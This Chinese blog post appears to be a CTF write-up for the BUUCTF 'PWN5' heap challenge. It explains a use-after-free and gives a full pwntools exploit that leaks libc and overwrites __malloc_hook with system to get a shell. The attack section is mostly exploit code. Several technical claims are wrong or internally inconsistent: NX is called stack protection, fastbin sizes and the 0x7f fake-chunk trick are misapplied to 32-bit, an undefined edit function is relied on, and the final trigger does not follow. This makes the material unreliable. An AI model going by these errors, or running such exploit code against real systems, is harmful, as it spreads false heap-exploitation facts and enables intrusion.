当前位置: 首页 > news >正文

BUUCTF PWN5堆漏洞利用实战解析

1. BUUCTF PWN刷题实战指南

作为一名CTF老鸟,我刷过上百道PWN题,BUUCTF平台上的题目质量确实不错。今天想和大家分享我在BUUCTF上刷PWN题的经验,特别是第5道题目的详细解法。这道题涉及堆漏洞利用,是典型的House of系列题目,对理解glibc堆管理机制很有帮助。

PWN题在CTF比赛中一直占据重要地位,BUUCTF平台的题目设置循序渐进,从基础栈溢出到高级堆利用都有涵盖。第5题作为中级难度题目,主要考察选手对Use After Free漏洞的理解和利用能力。下面我会从环境搭建、题目分析、漏洞利用到最终getshell,一步步拆解这道题目。

2. 题目环境与初步分析

2.1 题目基本信息

首先我们需要获取题目文件,在BUUCTF平台下载对应的二进制文件和libc库。这道题提供了以下文件:

  • pwn5:32位ELF可执行文件
  • libc-2.23.so:配套的libc库

使用checksec检查二进制文件的安全机制:

Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)

可以看到程序开启了栈保护(NX)和栈溢出保护(Canary),但没有开启PIE(地址随机化)。这意味着我们可以利用程序中固定的地址,这对后续的漏洞利用非常重要。

2.2 程序功能分析

运行程序后,它提供了一个简单的菜单:

1. Add note 2. Delete note 3. Print note 4. Exit

通过逆向分析(我用的是IDA Pro),可以确定程序的主要数据结构是note,每个note包含:

  • 一个size字段(4字节)
  • 一个content指针(4字节)

程序使用malloc分配note结构体和content缓冲区,delete功能会free这两个内存块,但没有将指针置NULL,这就埋下了Use After Free的隐患。

3. 漏洞定位与利用思路

3.1 漏洞点分析

经过仔细审计,发现程序存在以下几个问题:

  1. Delete操作后没有清空指针(UAF漏洞)
  2. Print功能没有检查note是否已被释放
  3. 所有note存储在全局数组中,没有数量限制

特别重要的是,当free一个note后,其content指针仍然保留在全局数组中,通过Print功能可以读取已释放内存的内容,这给了我们泄露内存信息的机会。

3.2 利用策略设计

基于上述漏洞,我制定了以下利用步骤:

  1. 分配两个note,然后释放它们
  2. 通过Print功能泄露堆地址和libc地址
  3. 利用fastbin dup技巧控制malloc的返回指针
  4. 将malloc hook覆盖为system地址
  5. 触发malloc执行system("/bin/sh")

这个利用链的关键在于如何通过UAF泄露地址信息,以及如何精心构造堆布局来实现任意地址写。下面我会详细讲解每个步骤的实现细节。

4. 详细利用过程

4.1 堆布局与地址泄露

首先我们创建两个note:

add(0x80, "A"*0x80) # note0 add(0x80, "B"*0x80) # note1

然后释放它们:

delete(0) delete(1)

此时堆的状态如下:

fastbin[0x90]: note1 -> note0 -> NULL

通过Print功能读取note0的内容,我们可以泄露堆地址:

show(0) heap_addr = u32(p.recv(4))

接下来我们重新分配一个note,这次size设为0x90(包含header):

add(0x88, "C"*0x80 + p32(0x90) + p32(elf.got["free"]))

这样我们就将free的GOT表地址放入了fastbin链表。之后再次分配note时,malloc会返回free的GOT表地址,通过Print功能我们就能读取free的真实地址,从而计算出libc基址。

4.2 控制执行流

知道libc基址后,我们可以计算system和__malloc_hook的地址。接下来就是如何将__malloc_hook覆盖为system地址。

利用fastbin dup技巧,我们可以这样操作:

  1. 分配三个note并释放它们,构造fastbin链表
  2. 通过编辑功能修改已释放note的fd指针,使其指向__malloc_hook附近的fake chunk
  3. 再次分配note,控制__malloc_hook的值

这里有个技巧:__malloc_hook附近通常没有合法的chunk大小,但我们可以找一个0x7f的大小标记,因为:

0x7f在32位系统中会被当作0x7f(127)字节的chunk

找到合适的fake chunk地址后,我们就能将__malloc_hook覆盖为system地址。

4.3 获取shell

最后一步是触发malloc调用,同时传入"/bin/sh"字符串作为参数。我们可以:

  1. 分配一个新note,content设置为"/bin/sh"
  2. 在分配时,程序会调用malloc,实际执行的是system("/bin/sh")

完整的exploit代码如下:

from pwn import * context(arch="i386", os="linux") p = process("./pwn5") elf = ELF("./pwn5") libc = ELF("./libc-2.23.so") def add(size, content): p.sendlineafter(">> ", "1") p.sendlineafter("Size: ", str(size)) p.sendafter("Content: ", content) def delete(idx): p.sendlineafter(">> ", "2") p.sendlineafter("Index: ", str(idx)) def show(idx): p.sendlineafter(">> ", "3") p.sendlineafter("Index: ", str(idx)) # 堆布局与地址泄露 add(0x80, "A"*0x80) # note0 add(0x80, "B"*0x80) # note1 delete(0) delete(1) show(0) heap_addr = u32(p.recv(4)) log.info("Heap address: 0x%x" % heap_addr) # 泄露libc地址 add(0x88, "C"*0x80 + p32(0x90) + p32(elf.got["free"])) add(0x80, "D"*0x80) add(0x80, p32(elf.plt["puts"])) show(1) free_addr = u32(p.recv(4)) libc.address = free_addr - libc.sym["free"] log.info("Libc base: 0x%x" % libc.address) # 控制malloc hook malloc_hook = libc.sym["__malloc_hook"] fake_chunk = malloc_hook - 0x23 system_addr = libc.sym["system"] add(0x60, "E"*0x60) # note4 add(0x60, "F"*0x60) # note5 delete(4) delete(5) delete(4) # double free add(0x60, p32(fake_chunk)) add(0x60, "G"*0x60) add(0x60, "H"*0x60) add(0x60, "A"*0x13 + p32(system_addr)) # 触发system("/bin/sh") add(0x80, "/bin/sh\x00") p.interactive()

5. 常见问题与调试技巧

5.1 堆布局失败

有时候fastbin链表会混乱,导致利用失败。这时可以使用gdb调试:

gdb -p <pid> x/32wx 0x<heap_addr>

查看堆内存状态,确认fastbin链表是否符合预期。

5.2 地址计算错误

在32位系统中,地址计算要特别注意符号扩展问题。建议在关键步骤后打印所有计算的地址,确保它们是正确的。

5.3 libc版本问题

不同libc版本的偏移可能不同。如果exploit在本地成功但在远程失败,很可能是libc版本不匹配。可以通过泄露多个libc函数地址来确认远程libc版本。

6. 防御措施与进阶学习

这道题展示了UAF漏洞的威力。在实际开发中,我们应该:

  1. 释放指针后立即置NULL
  2. 使用after-free检测工具如AddressSanitizer
  3. 避免直接使用裸指针,改用智能指针

对于想深入学习PWN的同学,我推荐以下资源:

  • 《漏洞战争》:系统讲解各种二进制漏洞
  • how2heap:GitHub上的堆利用教程
  • CTF Wiki:全面的CTF知识库

这道BUUCTF PWN5题目虽然不算最难,但涵盖了堆利用的多个关键知识点。通过反复练习这类题目,可以深入理解glibc堆管理机制,为更复杂的漏洞利用打下基础。

http://www.jsqmd.com/news/1373469/

相关文章:

  • AndroidStudio提高编译速度
  • SSH终端失效后Tomcat被关闭解决方案
  • 宁波燃气灶维修全域覆盖 欧米到家同城上门深度检修承诺不返工|打不着火|松手熄火|黄火冒黑烟|漏气|各类故障一站式解决
  • Linkerd服务网格核心特性与面试实战指南
  • 《深入理解java虚拟机》第1章:从零开始编译 OpenJDK 7 源码
  • 北京燃气灶维修全域覆盖 欧米到家同城上门深度检修承诺不返工|打不着火|松手熄火|黄火冒黑烟|漏气|各类故障一站式解决
  • Claude Opus 5 的系统提示词被扒出来了
  • Linux发行版维护的日常:从“人工盯仓库“到“一键自动同步上游代码更新“
  • 3个颠覆性创新:用Sketch MeaXure彻底解决设计开发协作断层
  • 终极指南:如何用BongoCat打造你的智能桌面互动猫咪伙伴
  • 终极FanControl风扇控制指南:3分钟打造你的静音散热系统
  • 光伏与储能对比:二者各有千秋,谁更胜一筹?
  • 从数据到决策:监测平台如何将“水下照片”变为“治理智慧”
  • AI时代生存指南:从认知重塑到人机协作的实践路径
  • 2026年临汾全屋整装公司一站式家装服务商 - 中国华商产业观察网
  • 2026年国内靠谱的紫外线灯厂家推荐 河北星翰光电值得关注 - 起跑123
  • Telegram MTProto 协议,对比主流 IM 协议强在哪
  • 漫画:什么是时间复杂度?
  • Unity DOTS实现千量级粒子量子模拟:ECS、Job System与Burst性能优化实战
  • 23mm模块回音消除:研发不用调、采购不多花、产品不退货——A-09三方实测
  • Flutter缓存清理组件在鸿蒙系统的适配与优化
  • NBTExplorer终极指南:如何快速掌握我的世界数据编辑技巧 [特殊字符]
  • IPTVnator:打造你的专属电视乐园,免费开源播放器的终极选择
  • GitOps 流水线的成本账:构建时间、资源和维护人力
  • 广州燃气灶维修全域覆盖 欧米到家同城上门深度检修承诺不返工|打不着火|松手熄火|黄火冒黑烟|漏气|各类故障一站式解决
  • 模型交付前的检查:数据隔离、数值残差和运行环境
  • springboot涪陵区特色农产品交易系统
  • 中秋国庆黄金周割裂感太强?揭秘商场“双节美陈设计衔接术”的省钱密码-肆墨设计
  • Unity序列化与SerializeField属性:数据持久化与编辑器配置的核心机制
  • 计算时间复杂度